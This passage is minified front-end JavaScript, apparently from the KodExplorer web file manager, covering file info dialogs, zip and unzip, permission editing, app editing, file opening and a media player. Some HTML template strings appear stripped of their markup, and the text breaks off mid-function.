a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var o=n(i);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=t.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var i=r.createTextRange();i.moveEnd("character",-r.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else r.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,i){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},N=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},T=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},S=function(){var e=function(e,i){var t='
    null!
    ';if(0!=e.length){t='
    '+LNG.clipboard_state+LNG[i]+"
    ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
    "+o.type+": "+s+""}t+="
    "}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},j=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},z=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:z,favRemove:j} -}),define("app/common/tpl/share.html",[],'
    \n
    \n
    {{LNG.share_title}}
    \n \n
    \n
    \n
    \n {{LNG.share_path}}:\n \n
    \n
    \n
    \n {{LNG.share_name}}:\n \n \n \n \n \n
    \n
    \n\n \n\n \n
    \n \n
    \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
    \n {{if download_path}}\n
    \n
    {{LNG.download_address}}:
    \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n\n {{if file_md5}}\n
    \n
    MD5:
    \n
    {{file_md5}}
    \n
    \n
    \n {{/if}}\n\n {{if image_size}}\n
    \n
    {{LNG.image_size}}:
    \n
    {{image_size.width}} × {{image_size.height}}
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n\n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n
    \n
    {{LNG.contain}}:
    \n
    {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
    \n
    \n
    {{LNG.info}}:
    \n
    \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/app_edit.html",[],"
    \n
    \n
    {{LNG.name}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_desc}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_icon}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_group}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_type}}
    \n
    \n \n \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_display}}
    \n
    \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_size}}
    \n
    \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
    \n
    \n
    \n
    \n \n \n
    {{LNG.app_url}}
    \n
    \n
    \n
    \n
    \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i=core.pathExt(e),l(i))return c(e),void 0;if("swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return p([{url:a,name:core.pathThis(e),ext:i}]),void 0}return"pdf"==i?(core.fileLink(e,function(t){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(t);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:t}).embed(n)}}),void 0):inArray(core.filetype.doc,i)?(c(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var i=jsonDecode(e);i.name=core.pathThis(n),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){var t='
    '+LNG.unknow_file_tips+"
    "+i+"

    "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
    ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&("hidden"==$("."+t.config.id).css("visibility")&&(a=200),t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var i=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return i+=".xls.xlsx.ods.csv//.xlt.xltx.xlsb.xlsm.//.et.ett.",i+=".pps.ppsx.ppt.pptx.odp//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===i.indexOf("."+e)?!1:!0},c=function(e,i){var t="./index.php?explorer/officeView&path="+urlEncode(e);return G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),"page"==G.kodOffice?(window.open(t),void 0):(core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(i){if(i){"string"==typeof i&&(i=[i]);var t=e("./myPlayer");t.play(i)}},p=function(e){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e)};return{open:i,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e){var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},t=e.ext,a=i[t],n={extType:a,title:e.name,url:e.url,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e){var i=e[0].ext,t=s(i),n=r(t),d=l(e[0]);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='
  • '+i.title+'
  • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("  "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"
    \n {{if list_type=='list'}}{{/if}}\n
    \n \n {{if type=='folder'}}\n
    {{\"folder\" | core.icon}}
    \n {{else}}\n
    {{ext | core.icon}}
    \n {{/if}}\n
    \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
    \n
    \n
    \n
    \n
    \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(h($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:h,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var 